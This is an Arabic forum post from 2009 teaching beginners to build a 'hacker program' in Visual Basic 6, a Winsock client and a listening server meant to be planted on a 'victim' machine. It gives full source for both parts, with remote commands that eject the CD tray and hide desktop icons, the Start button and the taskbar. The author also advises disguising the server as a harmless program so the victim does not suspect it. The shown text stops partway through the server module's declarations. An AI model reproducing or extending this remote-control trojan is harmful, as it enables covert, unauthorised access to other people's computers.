منتديات الشروق أونلاين

منتديات الشروق أونلاين (http://montada.echoroukonline.com/index.php)
-   منتدى الحاسوب والبرامج (http://montada.echoroukonline.com/forumdisplay.php?f=23)
-   -   اكبر شرح لطريقة تصميم برنامج هكر و بالصورة ارجو التثبيت للفائدة (http://montada.echoroukonline.com/showthread.php?t=69460)

minou0200 24-02-2009 04:53 AM

اكبر شرح لطريقة تصميم برنامج هكر و بالصورة ارجو التثبيت للفائدة
 
بسم الله الرحمن الرحيم

اقسم بالله ان اضع ردا

نبدا
كل ما يلزم اى فرد يريد تصميمي برنامج هكر بدائى اشياء بسيطه جدا


1- برنامج فجول بيسك


2- المعرف ببدائيات عن برنامج الفجول بيسك وان لم تعرف فكل ما عليك هو ان تاجل قرائة هذا الموضوع لبعض الوقت و انا سوف اضع موضوع اشرح فيه الفجول بيسك للمبتدئين ولاكن هذا الموضوع يحتاج الى بعض الوقت طبعا ( او يمكنك ان تنفذ التعليمات الموجودة فى الشرح بطريقه عمياء و هذا ما انا لا احبه )




اما اذا كنت تريد تصميم برنامج هكر متقدم فكل ما يلزمك هو


1- برنامج فجول بيسك


2- المعرفه بالبنية الأساسية للبرنامج و فهم تصميمه و بدائيات عمله و بعد ذلك العمل على تطوير البرنامج واضافة الجديد له و تطويره و ده طبعا سهل على المحترفين فى الفجول بيسك




بعد ان عرفنا هذا و قد قمنا بكل ما يلزمنا ماهى طريقة تصميم برنامج هكر بدائى ؟




كل الى عليكم هو ان تقومو بالقيام بك خطوة سوف اقوم بها


اول شئ كل ما عليكم فتح برنامج الفجول بيسك و الذى قد حملته مسبقا و سوف نستخدم visual basic 6.0


عند فتح البرنامج سوف تظهر لك الشاشة التالية







سوف تقوم بأختيار standard EXE ثم open بهذ الطريقه تكون قد قمت بالبدأ فى البرنامج لأنك بهذه الطريقة قد فتحت برنامج جديد و سوف تظهر لك شاشة الفورم التى سوف ابدأ فى وضع الأزرار و الأشياء الأخرى التى سوف نحتاجها


ولاكن لحظه واحدة فقط هل يمكننا البدأ فى البرنامج دون فهم فكرة عمله ؟ طبعا لأ علشان كده نقف شويه صغيرين علشان نعرف فكرة عمل هذا البرنامج




تتكون برامج الهكر كما هو معروف من جزئين أو برنامجين يسمى الأول بملف العميل والآخر ملف الخادم



1-كيفية الاتصال بين الملفين عبر الانترنت



يتم الاتصال بين الملفين العميل والخادم باستخدام بروتوكول tcp/ip


حيث يتم الاتصال بين الملفين العميل والخادم بمعرفة رقم الايبي ورقم المنفذ للبرنامج الخادم على جهاز الضحية


بالنسبة لرقم الايبي للخادم فهو رقم الايبي الخاص بجهاز الضحية عند دخوله على شبكة الانترنت


أما بالنسبة لرقم المنفذ فيتم تحديده برمجياً أثناء عمل البرنامج ولا يمكن تعديله إذا تم وضعه في جهاز الضحية وهو رقم يتراوح بين 1 إلى 65535 تقريباً و هذا ما سوف نوضحه اثناء تصميم البرنامج



وإذا اضطر الأمر لتعديل رقم المنفذ فيجب زرع نسخة جديدة من ملف الخادم في جهاز الضحية مرة أخرى بعد التعديل
عندما يبدأ برنامج الخادم بالعمل عند تشغيله يقوم بعمل خط اتصال وينتظر أي طلب اتصال قادم من الانترنت


في هذه الحالة يقوم الشخص الذي يملك البرنامج العميل ويعرف رقم الايبي ورقم المنفذ الصحيح بالخادم بعمل اتصال مع الخادم ويكتمل الاتصال بين الجهازين بعد ذلك يبدأ برنامج العميل بإرسال الأوامر ويقوم الخادم باستقبال هذه الأوامر وتنفيذ المطلوب منه ثم يقوم بإرسال نتائج الأوامر مرة أخرى إلى العميل
هذه هي الفكرة ببساطة شديدة أرجو أن تكون واضحة للجميع
ولعمل برنامج هكر علينا تصميم برنامج يمكنه القيام بالأعمال التاليه



1- بعد معرفة رقم الايبي ورقم المنفذ للبرنامج الخادم يتم إجراء الاتصال


2- ينتظر البرنامج السماح بالاتصال من البرنامج الخادم ثم يتم الاتصال بين الجهازين


3- يقوم البرنامج بإرسال الأوامر للبرنامج الخادم والذي بدوره يقوم بالرد بالمعلومات المطلوبة .


اما بالنسبة لبرنامج الخادم فهو عليه القيام بما يلى



1- يقوم هذا البرنامج بعمل اتصال بالانترنت وينتظر أي طلب اتصال معه


2- إذا قام برنامج العميل بكتابة رقم الايبي ورقم المنفذ الصحيح فانه يتم الاتصال بين الطرفين


3-يبدأ البرنامج الخادم باستقبال الأوامر من البرنامج العميل المتصل به وينفذ ما هو مطلوب منه على جهاز الضحية مثل تنفيذ بعض الأعمال التخريبية أو قراءة معلومات خاصة وإرسالها للبرنامج العميل.




اما الأن فقد عرفنا فكرة عمل كل من الجزئين فلنقم بتصميم كل منهم على حذه و نوضح كل كود خاص به




لقد قمت بتصميم البرنامج مسبقا لتوضيح الفكره وسوف تجده مرفق مع الموضوع يمكنك من فتحه و النظر فى الذى انت لم تفهمه و احتى يمكنك تجربته ان لم تصدقنى انه يعمل http://bm110.110mb.com/localhost/ib/...cons/smile.gif و على فكرة البرنامج ده انا بعد ما صممته ماحتطوش فى المنتدى كده عميانى انا جربته يعنى حاطط موضوع سليم ان شاء الله 100%




عليك ان تنشئ برنامج تضع فيه الأزرار كما فى الصورة التاليه





لاحظ الأرقام الموجودة على الصورة لأنك سوف تفهم كيفية تسمية كل زرار من الأرقام و ذلك بعد قليل




لا تفكر فى الشكل الأن قم فقط بتصميم البرنامج مثل الشكل التالى و بعد ان تفهم الفكرة قم بما تريد من تصميم او تغير فى الشكل




الأن علينا هو ان نوضح الأسم الذى سوف يكتب لكل زرار او جزء تم وضعه فى البرنامج و الذى سوف يتعرف عليه الكميوتر عند كتابة الأكواد و المكان الذى سوف نكتب فيه الكلمة التى سوف تظهر لنا فى البرنامج و قبل توضيح كل منهما على انفراد احب ان اوضح الأماكن التى سوف تكتب فيها كل من الأوامر و ذلك عن طريق الصورة التالية و التى توضح شريط الخصائص و الذى سوف تجده على يمينك فى البرنامج كل ما عليك هو الضغط على الزرار الذى تريد تغيره و من ثم سوف تلحظ تغير الشريط الخصائص على اساس الزرار المختار






الأن نوضح مسمى كل زرار بالأرقام الموضحة على الصورة فى الأعلى




1- الأمر اتصال ( Connect )


Name : Command1


Caption : Connect




2- الأمر فصل الاتصال ( DesConnectd )


Name : Command2


Caption : Desconnect




3- الأمرفتح السى دى ( Open Cd )


Name Command3


Caption : Open Cd




4- الأمر غلق السى دى ( Close Cd )


Name : Command4


Caption : Close Cd




5- الأمر لأخفاء ايقونات الدسك توب (Hide DESKTOP )



Name : Command5


Caption : Hide DESKTOP




6- الأمر اظهار ايقونات الدسك توب ( Show DESKTOP )



Name : Command6


Caption : Show DESKTOP




7- الأمر لغلق البرنامج (Exit )


Name : Command7


Caption : Exit




8- الأمر اخفاء زر ابدأ (Hide START )


Name : Command8


Caption : Hide START




9- الأمر اظهار زر ابدأ ( Show START )



Name : Command9


Caption : Show START




10- الأمر اخفاء شريط المهام (Hide TASKBAR )


Name : Command10


Caption : Hide TASKBAR




11- الأمر اظهار شريط المهام ( Show TASKBAR )


Name : Command11


Caption : Show TASKBAR




12- الشريط تيكست text لكتابة الأيبى فيه


Name : srvrip


Text: لا نكتب فيها شئ




13- الشريط تيكست text لكتابة المنفذ الذى يدخل عبره



Name : srvrport


Text:و سوف نكتب فيها المنفذ الذى سنستخدمه و هو 9514




14- الخاصية تايمر و التى سوف سوف توضح حالة الأتصال التى نحن عليها


Name : Timer1




15- الخاصية microsoft winsock control 6.0 و التى تعمل على استخدام بروتوكول tcp/ip و هو وسيلة الأتصال بين العميل و الخادم




Name : wskClient




16- الخاصية Label و التى سوف يظهر فيها حالة الأتصال


Name : Status


Caption : اتركها فارغة ولا تكتب فيها شئ




الأن و بعد ان قمنا بتصميم الهيكل الأساسى للبرنامج فاعتقد ان علينا البدأ فى كتابة الأكواد ولاكن ....http://ifada.rab7net.org/vb/images/smilies/!.gifhttp://ifada.rab7net.org/vb/images/smilies/!.gifhttp://ifada.rab7net.org/vb/images/smilies/!.gif علينا اولا بالتعرف على الخاصيةwinsock ولا انت اعوز تكمل عميانى وخلاص http://bm110.110mb.com/localhost/ib/...cons/smile.gif http://bm110.110mb.com/localhost/ib/...icons/wink.gif




هي اداه تستخدم لربط برنامجين مع بعضهما البعض سواء كان هاذان البرنامجان في كمبيوتر واحد ام في كمبيوترين مختلفين وسواءً في شبكة داخلية او خارجية ....


والغرض من هذا الربط هو نقل البيانات من طرف الى طرف آخر وقد يكون الغرض من وراء نقل البيانات هو غرض مفيد او غير مفيد كا التجسس على الآخرين ....


ولكي نبدء بالبرمجة مع هذة الاداه يجب علينا اولاً ان نعرف ما هي الشروط الاساسية والاحتياجات لعملية الربط


اهم هذة الشروط هو معرفة الاي بي IP وهو عبارة عن رقم يقوم مزود الانترنت لديك بمنحك اياه عند دخولك الشبكة




والشرط الثاني هو المنفذ او Port حيث يمكن للبرنامج استخدام اي منفذ الى اكثر من ستين الف منفذ وهو يستخدم للتراسل بين البرامج مثلاً اذا جعلت برنامج في جهاز A وآخر في جهاز B واردت ان يتصل البرنامج A بالبرنامج B يجب عليك اولاً ان تجعل البرنامج B ينتظر الاتصال على منفذ معين مثلاً المنفذ رقم 10000 ثم تجعل البرنامج A يطلب الاتصال بالجهاز الذي يمتلك رقم IP التابع للبرنامج B فيقوم البرنامج بطلب الاتصال عن طريق الاداه السابقة الذكر ولكن قبل ذلك يجب ان تحدد المنفذ الذي تريد الاتصال به والذي يجب ان يكون ايضاً 10000 وعندما يبدء البرنامج A الاتصال على المنفذ المذكور يجد ان البرنامج B منتظراً للاتصال على هذا المنفذ فيحصل بذلك الاتصال وعند هذة النقطة يمكن فعل الكثير ....






واليكم الان بعض من الخواص المهمة في هذة الاداه والتي يجب علينا فهمها قبل كل شيء :




: LocatPort وهو يحدد رقم المنفذ المحلي
LocalIP : يعطي رقم الاي بي المحلي
: RemotePort رقم المنفذ في الجهاز الآخر
: RemoteHost رقم الاي بي للجهاز الآخر
: Protocol نوع الترابط بين البرنامجين ويوجد نوعان نتكلم عنهما لاحقاً
: State يعطي حالة البرنامج الان هل هو متصل ام لا ام منتظر اتصال وهكذا




هذى هى الأوامر التى سوف تستخدمها هذه الأداة الصغيرة




أما الأن فان هذه الاداه تعتبر هى الوحيده التى لم تظهر فى القائمة الخيارات التى على يسار البرنامج فكيف اعمل على أدراجها؟؟http://ifada.rab7net.org/vb/images/smilies/!.gifhttp://ifada.rab7net.org/vb/images/smilies/!.gif


وذلك عن طريق النقر على Components من القائمة Project ثم اخيتار العنوان [Microsoft Winsock Control 6.0] من مربع الحوار الذي سيظهر .... وبذلك نكون قد اضفنا الاداة Winsock الى برنامجنا .....
و هذه صورة توضيحية اكثر






بعد الضغط على ok تكون قد ادرجت هذه الخاصية و يمكنك ان تضعها الأن لتكمل الشكل الأساسى للبرنامج


نبدأ الأن بتوضيح الفكرة الأساسية لكل كود سوف يوضع قبل ان اعطيكم النص كامل


بالنسبة لبرنامج العميل فهذا شرح للفكرة الأساسية للأكواد قبل البدأ فى الموضوع




1. إجراء عملية الاتصال مع الخادم wskclient.Connect srvrip.Text, srvrport.Text
2. عملية إرسال الأوامر إلى البرنامج الخادم "wskclient.SendData "openCD
3. مراقبة حالة الاتصال wskclient.State = 0



أهم القيم المستخدمة في مراقبة حالة الاتصال



0 " لا يوجد اتصال "
7 " تم الاتصال "
8 " قام الخادم بقطع الاتصال "
9 " خطأ في الاتصال "




اما بالنسبة للخادم او السيرفر



1. تحديد منفذ الاتصال wskServer.LocalPort = 2000


2. إجراء عملية الاتصال wskServer.Listen


3. قبول طلب البرنامج العميل بالاتصال مع البرنامج الخادم


Private Sub wskServer_ConnectionRequest(ByVal requestID As Long)


If wskServer.State <> sckClosed Then


wskServer.Close


wskServer.Accept requestID


End Sub



عملية استقبال الأوامر من البرنامج العميل ( يتم تعريف متغير يقوم باستقبال الأوامر من العميل )


Private Sub wskServer_DataArrival(ByVal bytesTotal As Long)


Dim command As String


wskServer.GetData command


End Sub




الأن و بعد ان فهمنا الفكرة الأساسية للبرنامج فهل نبدأ لحسن احنا زهقنا من الشرح الطويل ده ؟؟http://ifada.rab7net.org/vb/images/smilies/!.gifhttp://ifada.rab7net.org/vb/images/smilies/!.gif


الصبر حلو و الشرح الكبير اكيد فيه الفايده http://bm110.110mb.com/localhost/ib/...cons/smile.gif


الأن سوف اكتب كل كود على حذه وسوف اقوم بشرح كل امر فيه تقريبا و العمل الذى سيؤديه هذا السطر




--------------------------------------------


1- الزر الخاص بالأتصال ( Connect )


--------------------------------------------




الكود :


******




كود
Private Sub Command1_Click()


wskClient.Close


If srvrip.Text = "" Then


MsgBox "IP يجب كتابة رقم"


Exit Sub


End If


If srvrport.Text = "" Then


MsgBox "يجب كتابة رقم المنفذ"


Exit Sub


End If


If srvrport.Text > 65535 Then


MsgBox "رقم المنفذ بين 1 - 65535"


srvrport.Text = ""


Exit Sub


End If


wskClient.Connect srvrip.Text, srvrport.Text


Command1.Enabled = False


End Sub




دعونا الأن نشرح الكود بمزيد من التفصيل


***************************




wskClient.Close




كتب هذا الأمر لأنه يجب التأكد من أن الإتصال مغلق قبل عمل إتصال جديد




If srvrip.Text = "" Then


MsgBox "IP يجب كتابة رقم"




كتب هذا الأمر حتى يوضح للمستخدم انه اذا لم يكتب رقم الIP فى Label والذى سميناه srvrip فسوف يقوم باظهار رسالة خطا توضح للمستخدم انه لم يكتب رقم IP




If srvrport.Text = "" Then


MsgBox "يجب كتابة رقم المنفذ"




كتب هذا الأمر حتى يوضح للمستخدم انه اذا لم يكتب رقم المنفذ فى Label والذى سميناه srvrport فسوف يقوم باظهار رسالة خطا توضح للمستخدم انه لم يكتب رقم المنفذ




If srvrport.Text > 65535 Then


MsgBox "رقم المنفذ بين 1 - 65535"




كتب هذا الأمر حتى يوضح للمستخدم انه اذا كتب رقم المنفذ فى Label والذى سميناه srvrport و لم يكون الرقم المكتوب بين الأرقام 1-65535 فانه سوف يقوم باظهار رسالة خطا توضح للمستخدم انه يجب ان يكتب رقم المنفذ بين الرقمين 1 – 65535




srvrport.Text = ""




كتب هذا الأمر بعد الأمر السابق لكى يمسح رقم المنفذ الذى كتبته خطا ليجعلك تكتب الرقم من جديد




wskClient.Connect srvrip.Text, srvrport.Text




هذا السطر يمثل عملية الإتصال بالخادم


يتم الإتصال بالخادم عن طريق تحديد رقم IP ورقم المنفذ (Port)


عند الضغط على زر "Connect" يتم إجراء الإتصال




Command1.Enabled = False




و هذا الأمر لتعطيل زر "Connect" عند اجراء الاتصال




اظن الأن انه تم توضيح هذه الأوامر




--------------------------------------------


2- الزر الخاص فصل الأتصال ( Desconnect )


--------------------------------------------


الكود


****




كود
Private Sub Command2_Click()


wskClient.Close


Command1.Enabled = True


End Sub




دعونا الأن نشرح الكود بمزيد من التفصيل


***************************


wskClient.Close




يعطى الأمرباغلاق الإتصال عند الضغط على زر "Dseconnct"




Command1.Enabled = True




يعمل هذا الأمر على تمكين الزر "Connect" عند قطع الاتصال و الذى الغينا استخدامه من قبل فى عملية الأتصال




--------------------------------------------


3- الزر الخاص بفتح السى دى ( CD Open )


--------------------------------------------




قبل البدأ سوف نلاحظ ان الأمر الموجه فى جميع الخصائص التى سوف نضيفها هى واحده لذا سوف اضعها بالترتيب ثم اقوم بشرح واحد فقط منها




الكود


كود
Private Sub Command3_Click()
On Error Resume Next
wskclient.SendData "openCD"
End Sub




--------------------------------------------


4- الزر الخاص اغلاق السى دى ( CD Close )


--------------------------------------------




كود
Private Sub Command4_Click()
On Error Resume Next
wskclient.SendData "closeCD"
End Sub



--------------------------------------------


5- الزر الخاص اخفاء ايقونات سطح المكتب (Hide DESKTOP )


--------------------------------------------




كود
Private Sub Command5_Click()
On Error Resume Next
wskclient.SendData "hideDESKTOP"
End Sub




--------------------------------------------


6- الزر الخاص اظهار ايقونات سطح المكتب (Show DESKTOP )


--------------------------------------------






كود
Private Sub Command6_Click()
On Error Resume Next
wskclient.SendData "showDESKTOP"
End Sub




--------------------------------------------


7- الزر الخاص اخفاء زر ابداء (Hide START )


--------------------------------------------




انشئ زر واسمه اخفاء زر ابداء
واكتب هذا الكود


كود
Private Sub Command8_Click()
On Error Resume Next
wskclient.SendData "hideSTART"
End Sub




--------------------------------------------


8- الزر الخاص اظهار زر ابداء (Show START )


--------------------------------------------




كود
Private Sub Command9_Click()
On Error Resume Next
wskclient.SendData "showSTART"
End Sub



--------------------------------------------


9- الزر الخاص اخفاء شريط المهام (Hide TASKBAR)


--------------------------------------------




كود
Private Sub Command10_Click()
On Error Resume Next
wskclient.SendData "hideTASKBAR"
End Sub




--------------------------------------------


10- الزر الخاص اظهار شريط المهام (Show TASKBAR)


--------------------------------------------




كود
Private Sub Command11_Click()
On Error Resume Next
wskclient.SendData "showTASKBAR"
End Sub




يجب عليك اولا الأهتمام باسم كل زرار و الذى ليس الأسم الذى يظهر لك ولاكنى اقصد الأسم الذى سيتعرف عليه الكمبيوتر عند تنفيذ الأوامر السابقة و الذى يوضع تحت العنوان Name فى قائمة الخصائص




اما الأن فناخذ كود واحد منهم و نشرحه


*************************




كود
Private Sub Command11_Click()
On Error Resume Next
wskclient.SendData "showTASKBAR"
End Sub


الجزء الأول فيه


On Error Resume Next




يعنى اذا حدث خطا فى الأمر الذى يصدره هذا الزرار فلن يصدر اى شكوه و يستمر فى عمله مرة اخرى و ينظر فى الذى يلى هذا الأمر الخطأ




wskclient.SendData "showTASKBAR"




و يعطى هذا الأمر بان يصدر برنامج العميل الى ملف الخادم الكود الخاص باخفاء شريط المهام و لايتعدى هنا كونه كلمه فى هذا البرنامج العميل ولاكن عند ارساله الى ملف الخادم فانه سوف يقوم بترجمته بعد وضع ترجمه فى ملف الخادم بالأعمال التى سيقوم بها و سيقوم بتحويل هذه الكلمة عديمة الفائدة الى امر قاتل




--------------------------------------------


11- الزر الخاص بالأغلاق (Exit)


--------------------------------------------




الكود


*****




كود
Private Sub Command7_Click()


wskClient.Close


End


End Sub




دعونا الأن نشرح الكود بمزيد من التفصيل


***************************




wskClient.Close




يعطى هذا الأمر للبرنامج لفصل الأتصال بالخادم




End




يعطى هذا الأمر للبرنامج بان يغلق نفسه اى ينهى عمل البرنامج




اى سيكون عمل هذا الزرار هو غلق الأتصال ثم غلق البرنامج




--------------------------------------------


11- التيمير (timer)


--------------------------------------------




اخر شئ سيتم و هو فائدة عمل التيمر و هو كما قلت سابقا و هو لكى يخبرك بالحالة التى انت عليها اذا كنت متصل ام لا او غيرها




الكود


****




كود
Private Sub Timer1_Timer()


If wskClient.State = 0 Then Status.Caption = "لايوجد إتصال"


If wskClient.State = 6 Then Status.Caption = "جاري الإتصال"


If wskClient.State = 7 Then Status.Caption = "تم الإتصال مع الخادم"


If wskClient.State = 8 Then Status.Caption = "قام الخادم بقطع الإتصال"


If wskClient.State = 9 Then Status.Caption = "خطأ في الإتصال"


If wskClient.State <> sckConnected Then


Status.Caption = "لايوجد إتصال"


End If


End Sub




و لتوضيح فكرة عمل هذا الكود فهو ينظر الى حالة الأتصال فاذا كان متصل مثلا فانه يعطى للـLabel و المسمى باسم Status امر بان يكتب تم الأتصال مع الخادم و هاكذا فى جميع الحالات




اتمنى ان اكون قد انتهيت من الجزء الأول من الشرح بنجاح و سوف اضع الأكواد كلها بالترتيب الموجود فى البرنامج و كلها و التى قد فسرناها كلها بالتفصيل




**********************


الأكواد الخاصة ببرنامج العميل


**********************






كود
Private Sub Command1_Click()


wskClient.Close


If srvrip.Text = "" Then


MsgBox "IP يجب كتابة رقم"


Exit Sub


End If


If srvrport.Text = "" Then


MsgBox "يجب كتابة رقم المنفذ"


Exit Sub


End If


If srvrport.Text > 65535 Then


MsgBox "رقم المنفذ بين 1 - 65535"


srvrport.Text = ""


Exit Sub


End If


wskClient.Connect srvrip.Text, srvrport.Text


Command1.Enabled = False


End Sub




Private Sub Command10_Click()


On Error Resume Next


wskClient.SendData "hideTASKBAR"


End Sub






Private Sub Command11_Click()


On Error Resume Next


wskClient.SendData "showTASKBAR"


End Sub




Private Sub Command2_Click()


wskClient.Close


Command1.Enabled = True


End Sub


Private Sub Command3_Click()


On Error Resume Next


wskClient.SendData "openCD"


End Sub




Private Sub Command4_Click()


On Error Resume Next


wskClient.SendData "closeCD"


End Sub




Private Sub Command5_Click()


On Error Resume Next


wskClient.SendData "hideDESKTOP"


End Sub




Private Sub Command6_Click()


On Error Resume Next


wskClient.SendData "showDESKTOP"


End Sub




Private Sub Command7_Click()


wskClient.Close


End


End Sub




Private Sub Command8_Click()


On Error Resume Next


wskClient.SendData "hideSTART"


End Sub




Private Sub Command9_Click()


On Error Resume Next


wskClient.SendData "showSTART"


End Sub




Private Sub Form_Load()


srvrip.Text = wskClient.LocalIP


End Sub




Private Sub Timer1_Timer()


If wskClient.State = 0 Then Status.Caption = "لايوجد إتصال"


If wskClient.State = 6 Then Status.Caption = "جاري الإتصال"


If wskClient.State = 7 Then Status.Caption = "تم الإتصال مع الخادم"


If wskClient.State = 8 Then Status.Caption = "قام الخادم بقطع الإتصال"


If wskClient.State = 9 Then Status.Caption = "خطأ في الإتصال"


If wskClient.State <> sckConnected Then


Status.Caption = "لايوجد إتصال"


End If


End Sub






اخيرا


انتهينا من البرنامج العميل صح ولاكن ما نفعه من دون برنامج الخادم ؟؟http://ifada.rab7net.org/vb/images/smilies/!.gifhttp://ifada.rab7net.org/vb/images/smilies/!.gif


طبعا بدون برنامج الخادم الخاص به فلن يؤدى اى نفع لذا سوف اقوم بشرح تفصيلى اخر عن الخادم
***يتبع***


----------------------------



نبدأ و اعتقد اننا فهمنا فكرة عمل الخادم و كل ما نحن نحتاجه فى هذا


اغلق برنامج العميل و الذى قد قمت بتصميمه من قبل و طبعا بعد ما تحفظه


افتح مشروع عمل جديد و ذلك بنفس الطريقة التى قمنا بها سابقا فى العمل على برنامج العميل


ولاكن هنا تختلف الأشياء التى سوف نقوم بصنعها فمثلا نحن اولا سوف نقوم بالعمل على جزئين و هما الفورم ( Form ) و المديول ( Modules ) و طبعا انت تعرف فى برنامج الفجول بيسك يعنى مش محتاج اعرفك على كل منهم


اولا سوف يكون العمل فى اول شئ فى الفورم




علينا بتكوين الهيكل الرئيسى للخادم قم بالعمل مثل الصورة التاليه






بعد تصميم الملف سوف تلحظ انك لن تقوم بتصميم اى شئ سوى انك سوف تضع Label ستسميه باى اسم و تكتب فيه الى انت عاوزه و احنا حطيناه حتى لا يشك العميل فى انك ارسلت له برنامج ليس له لزمه و يمكنك ان تنشاء فى هذا الملف الخادم برنامج كامل لكى تجذب انتباه الضحيه كمثل برنامج رسم انت تعرف طريقة تصميمه او اى شئ اخر و ذلك لجعل الملف الخادم ليس مكشوف للضحية




اما ثانى شئ و هو الأهم و هو خاصية winsock و التى سوف نسميها هنا باسم اخر غير الأسم الذى سمناها فى الملف العميل و سوف نجعل خاصية الـName تحمل الأسم wskServer




هكذا نكون قد انهاينا الشكل الخارجى و طبعا مش محتاج اوضح طريقة ادراج winsock http://bm110.110mb.com/localhost/ib/...cons/smile.gif




نبدا بوضع الأكواد و محاولة شرح الى نقدر عليه http://bm110.110mb.com/localhost/ib/...cons/smile.gif http://bm110.110mb.com/localhost/ib/...icons/wink.gif




--------------------------


فى الفورم ( Form ) :


--------------------------




الكود


****


كود
Private Sub Form_Load()


wskServer.LocalPort = 9514


wskServer.Listen


TaskBarHwnd = FindWindow("Shell_traywnd", "")


End Sub




نبدأ الأن بشرح بالتفصيل


****************


نوضح اولا ان اسم اداة الوينسوكت في هذا البرنامج wskServer




wskServer.LocalPort = 9514




و هو لتحديد المنفذ الذى سوف يقوم الخادم بفتحه لدى الضحيه ليسمح لك بالدخول و قد وضعناه هنا الرقم 9514 و يمكنك طبعا ان تغيره ولاكن مع تغيره يجب عليك بكتابته فى برنامج العميل اثناء الأتصال




wskServer.Listen




يعلن هذا الأمر عن بدأ الأتصال بالعميل




TaskBarHwnd = FindWindow("Shell_traywnd", "")




يقوم البرنامج بتحديد تعريف شريط المهام




--------------------------


فى اداة الأتصال (winsock ) :


--------------------------


سوف نضع فى هذه الخاصية نوعين من الأكواد احدهما لتقبل عملية الأتصال و الأخر للتعريف بالأوامر التى سوف يتلقاها بعد الأتصال فلنعرض الأن الكودين و نوضح كل ما نستطيع عنهما




الكود الأول :


********




كود
Private Sub wskServer_ConnectionRequest(ByVal requestID As Long)


If wskServer.State <> sckClosed Then _


wskServer.Close


wskServer.Accept requestID


End Sub




تم وضع هذا الكود لتقبل عملية الأتصال التى قامت بين الخادم و العميل




الكود الثانى :


*********






كود
Private Sub wskServer_DataArrival(ByVal bytesTotal As Long)


Dim command As String


wskServer.GetData command




Select Case command


Case "openCD"


CDOpen


Case "closeCD"


CDClose


Case "hideDESKTOP"


Progman& = FindWindow("Progman", vbNullString)


SHELLDLLDefView& = FindWindowEx(Progman&, 0&, "SHELLDLL_DefView", vbNullString)


SysListView& = FindWindowEx(SHELLDLLDefView&, 0&, "SysListView32", vbNullString)


Call ShowWindow(SysListView&, SW_HIDE)


Case "showDESKTOP"


Progman& = FindWindow("Progman", vbNullString)


SHELLDLLDefView& = FindWindowEx(Progman&, 0&, "SHELLDLL_DefView", vbNullString)


SysListView& = FindWindowEx(SHELLDLLDefView&, 0&, "SysListView32", vbNullString)


Call ShowWindow(SysListView&, SW_SHOW)


Case "hideSTART"


HideStartButton


Case "showSTART"


ShowStartButton


Case "hideTASKBAR"


Call SetWindowPos(TaskBarHwnd, 0&, 0&, 0&, 0&, 0&, SWP_HIDEWINDOW)


Case "showTASKBAR"


Call SetWindowPos(TaskBarHwnd, 0&, 0&, 0&, 0&, 0&, SWP_SHOWWINDOW)


End Select




End Sub




يعتبر هذا الكود الطريقة التىيمر بها الأمر القادم من العميل لترجمته فى ملف الخادم لأستخدامه فى الأختراق و سوف يكون هناك مرحلة ثانية لترجمه الأمر و هى عن طريق المديول و سوف نشرحها بعد قليل




ايه رايكم لم نشرح الكود السابق بمذيد من الدقه


*****************************




Dim command As String




يجب تعريف المتغير الذي سوف يستقبل البيانات القادمة من العميل




wskServer.GetData command




يمثل هذا الأمر استقبال المتغير للاوامر القادمة من العميل




Select Case command




يستخدم هذا الأمر لتحديد الأمر القادم من البرنامج العميل






Case "openCD"




يعطى هذه الدالة اذا تم اختيار امر فتح سواقة الليزر يتم تنفيذ الاجراء التالي




CDOpen




و نفس هذا الأمر ينطبق على جميع الأوامر التى يتكون منها الكود السابق لذا لا داعى لشرحها مجددا




يبقى لدينا الأن فى هذا الملف الخادم طرق كتابة الكود فى المديول و شرحه بالتفصيل ولاكن قبل ذلك يجب ان اضع لكم الأكواد كلها و الخاصة بالفورم طبعا قبل البدأ فى شرح المديول




الأكواد


******






كود
Private Sub Form_Load()


wskServer.LocalPort = 9514


wskServer.Listen


TaskBarHwnd = FindWindow("Shell_traywnd", "")


End Sub




Private Sub wskServer_ConnectionRequest(ByVal requestID As Long)


If wskServer.State <> sckClosed Then _


wskServer.Close


wskServer.Accept requestID


End Sub






Private Sub wskServer_DataArrival(ByVal bytesTotal As Long)


Dim command As String


wskServer.GetData command




Select Case command


Case "openCD"


CDOpen


Case "closeCD"


CDClose


Case "hideDESKTOP"


Progman& = FindWindow("Progman", vbNullString)


SHELLDLLDefView& = FindWindowEx(Progman&, 0&, "SHELLDLL_DefView", vbNullString)


SysListView& = FindWindowEx(SHELLDLLDefView&, 0&, "SysListView32", vbNullString)


Call ShowWindow(SysListView&, SW_HIDE)


Case "showDESKTOP"


Progman& = FindWindow("Progman", vbNullString)


SHELLDLLDefView& = FindWindowEx(Progman&, 0&, "SHELLDLL_DefView", vbNullString)


SysListView& = FindWindowEx(SHELLDLLDefView&, 0&, "SysListView32", vbNullString)


Call ShowWindow(SysListView&, SW_SHOW)


Case "hideSTART"


HideStartButton


Case "showSTART"


ShowStartButton


Case "hideTASKBAR"


Call SetWindowPos(TaskBarHwnd, 0&, 0&, 0&, 0&, 0&, SWP_HIDEWINDOW)


Case "showTASKBAR"


Call SetWindowPos(TaskBarHwnd, 0&, 0&, 0&, 0&, 0&, SWP_SHOWWINDOW)


End Select




End Sub






نبدأ الأن فى الجزء الأخر من الخادم و هو المديول ( Mdules )


فى المديول يتم وضع تعريف للدوال المستخدمه و توضيح الأوامر المستخدمة ولاكن كيف ذلك ؟؟http://ifada.rab7net.org/vb/images/smilies/!.gifhttp://ifada.rab7net.org/vb/images/smilies/!.gif


قبل توضيح كيفية الأكواد فيجب علينا اولا بتوضيح طريقة ادراج المديول الى المشروع الذى نحن نعمل فيه و هو عن طريق فتح قائمة Project و الضغط على Add Modules


يتك كتابة فى هذا المديول نوعين من الأكواد ولاكنهما يوضحان نفس العمل و تعريف الدوال المستخدمة


نبدأ فى كتابة الأكواد




الكود الأول


**********






كود
Public Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long


Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long


Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long


Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long


Public Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long




Public Const SW_HIDE = 0


Public Const SW_SHOW = 5




Const SWP_HIDEWINDOW = &H80


Const SWP_SHOWWINDOW = &H40




